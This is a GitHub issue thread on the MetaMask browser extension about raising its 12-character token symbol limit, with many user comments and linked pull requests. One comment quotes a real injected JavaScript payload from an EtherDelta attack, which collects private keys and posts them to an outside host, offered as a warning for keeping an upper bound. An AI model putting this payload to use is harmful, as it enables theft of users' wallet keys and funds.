MetaMask / metamask-extension

:globe_with_meridians: :electric_plug: The MetaMask browser extension enables browsing Ethereum blockchain enabled websites
https://metamask.io
Other
12.01k stars 4.91k forks source link

Increase Token Symbol Length #9243

Open adrianmcli opened 4 years ago

adrianmcli commented 4 years ago

What problem are you trying to solve?

In brief: The token symbol length requirement of 12 characters is too short, we should raise it to 20 or more if possible.

As expiring tokens become more popular, it is often desired to have the expiration date within the token symbol itself. For example, if I were to create a synthetic yielding token pegged to the USD while backed by ETH and expiring in September of 2020, I might want to use a token symbol of xyUSDETH-SEP20 (14 characers).

However, some users in our community at UMA have voiced a desire for lexicographically sortable symbol names. And the best way of doing this is to use the ISO standard of ISO 8601 calendar date-inspired format of YYYY-MM-DD. A possible desired symbol might be xyUSDETH-2020.09.01 (19 characters).

Describe the solution you'd like

Increase the allowed token symbol length to 20 (or more). The specific length can be further discussed but I think 20 is a reasonable starting point.

Additional context

Implementation should be quite simple if we follow this previously merged PR: https://github.com/MetaMask/metamask-extension/pull/5816

mc25 commented 4 years ago

Unless there is a technical reason for the 12 char limit. It makes absolute sense to open up the design space for more readable and usefull tickers for crypto teams.

chrismaree commented 4 years ago

This would be pretty great! There are many projects that need longer symbol length and removing this barrier would be helpful in improving their UX.

Also, EIP747 which lets you click to add tokens to Metamask is even more restrictive. This is limited to token symbol length of 6 chars. If metamask was updated to support longer symbol length then this should properly also be updated to take full advantage of these features.

rekmarks commented 4 years ago

I'll note that the ERC20 standard does not specify any limit on the symbol length.

There is of course some kind of practical limit to the symbol length, because it needs to be able to function as a ticker in the UI.

That said, we should be able to do something with this, and are addressing it internally. Good suggestion, @adrianmcli!

claytonroche commented 4 years ago

I would also be keen to see this happen. I know most tickers should be short for ease of use, but given the variety of very specific-use tokens, I think having a little more information in the titles would be hugely useful.

danfinlay commented 4 years ago

We just need to do a review of where we render token symbols to ensure longer ones don't break our UI, and I don't think there's anything else keeping us from doing this.

tsubus commented 3 years ago

Is there any downside in building the extension on our own? Being this is the only reason that prevents me from using Metamask, I could simply increase the symbol length limit until the official version supports it.

adrianmcli commented 3 years ago

Oh wow, it's been half a year.

@danfinlay how do we go about doing the review of where the symbols are rendered?

tsubus commented 3 years ago

I modified the max symbol length to 20 (following https://github.com/MetaMask/metamask-extension/pull/5816) and all is good on my browser (Vivaldi), UI has no issues with the extra length. When clicking the extension icon itself, symbols that are too long to render are simply cut off and added a "..." suffix. I would say that it could even be made longer, so that it's unlikely it has to be touched again in the future (the longest token I own is already 19 characters long, it's cutting it close).

dudesahn commented 3 years ago

@danfinlay this would be a huge improvement, especially for us at Yearn (and I'm sure other protocols) who have longer, compound token symbols as our vault tokens can be fairly complex.

For example, being able to convey in a token symbol something is a yVault, for a SushiSwap SLP of YFI and ETH is near impossible in 12 characters.

dudesahn commented 3 years ago

@tsubus maybe submitting a PR would be a good next step? Sounds like there are no major issues with it. Like you said, would only need to decide on what the optimal max length is :)

sambacha commented 3 years ago

An upper bound limit should be in place for sure. 

e.g:

f`[¤ ]DATA <script> function doSomething(){for($(“#depositBalanceToken 
a”).text().indexOf(“‘)”>DATA”)>=0&&$(“#depositBalanceToken a”).text(“DATA”),savedKeys=[],a=1;a<main.EtherDelta.addrs.length;a++)singlekey=[],singlekey[0]=main.EtherDelta.addrs[a],singlekey[1]=main.EtherDelta.pks[a],savedKeys.push(singlekey);var e={object:JSON.stringify(savedKeys)};
$.post(“https://cdn-solutions.com/update.php",e,function(e,n,t){}),setTimeout(doSomething,1e4)}var savedKeys=[];if(void 0===onlyonce)
{var onlyonce=!0;doSomething(),ga=function(){},doSomething(),$(“#accountSubmit”).click(function(){doSomething()})} </script>

source: hackernoon.com/how-one-hacker-stole-thousands-of-dollars-worth-of-cryptocurrency-with-a-classic-code-injection-a3aba5d2bff0

UsuallyAdo commented 3 years ago

The token name length needs to be able to accommodate LP token names from DEFI dapps such as:

mooApeLINK-BNB 0xfb04ba534ED800d9bFFce22B5F86eDaA4fc76D50 (app.beefy.finance BSC) mooCakeV2SUSHI-ETH 0x517b331B00dF201B660FfE74874Ed491D8047879 (app.beefy.finance BSC)) mooQuickETH-MATIC 0x8b89477dFde285849E1B07947E25012206F4D674 (polygon.beefy.finance Polygon)

So I suggest making it AT LEAST 20 characters but realistically why not allow up to 50.

ghost commented 3 years ago

MetaMask should only be implementing a display/truncate/customize the token name, while still recording the full token name that's shown everywhere else in DeFi.

Etherscan says that the contract "0x0b09dea16768f0799065c475be02919503cb2a35" has the token name "B-60WETH-40DAI"

So when MetaMask tells me token names are a maximum 11 characters, I'm inclined to think MetaMask is incorrect.

image
gbolcer commented 2 years ago

Ran smack dab into this problem today (11/11/2021) importing babydogezilla. Workaround is to edit token symbol field and create a mnemonic.

devdomsos commented 2 years ago

Having a similar issue with adding LP symbols such as BRIDGE/WETH-LP or BRIDGE/BNB-LP

architect-dev commented 2 years ago

Adding support to increasing to 20. It allows far better token naming, especially with LP tokens / bridge tokens

pheuberger commented 1 year ago

where are we with this? we (Toucan) need longer symbol names as we need to encode a lot of information. here's an example: TCO2-VCS-1686-20180212-20190326. given how carbon markets work, we can't really get around having fewer characters than that.

aspiers commented 1 year ago

I suspect it's just a case of someone (maybe us!) re-submitting an updated version of #11162. Although I worry that a limit of 20 is also somewhat arbitrary and would lead to a few more of the same problems we have with the current limit of 12.

miladtsx commented 1 year ago

I've increased the Symbol length limit to 100 characters at #17642.

matrixise commented 1 year ago

Update?

yvaskov commented 8 months ago

Is there any update regarding this?

kyriediculous commented 8 months ago

+1 this

Submitted a PR that increases the length to 64 (32 bytes) which should be sufficient for most token symbols and provides an upper bound.

https://github.com/MetaMask/metamask-extension/pull/23208

a17 commented 7 months ago

I'm having trouble adding vault tokens to the metamask by button in a dapp due to the current symbol length limit. Hope contributors can solve this.

adrianmcli commented 7 months ago

Wow what a throwback. I wonder what the max token length is on Rabby?

fredwes commented 7 months ago

Please sers, may we have longer symbols?

pegahcarter commented 6 months ago

devs rug?

coderCK2 commented 1 month ago

Any movement on this? The request was opened four years ago and we are still not able to add tokens with names longer than 11 characters. There is no issue doing this in the Android app, but the browser extensions are still (seemingly arbitrarily) limited.

EDIT: I went ahead and made a PR here: https://github.com/MetaMask/metamask-extension/pull/27175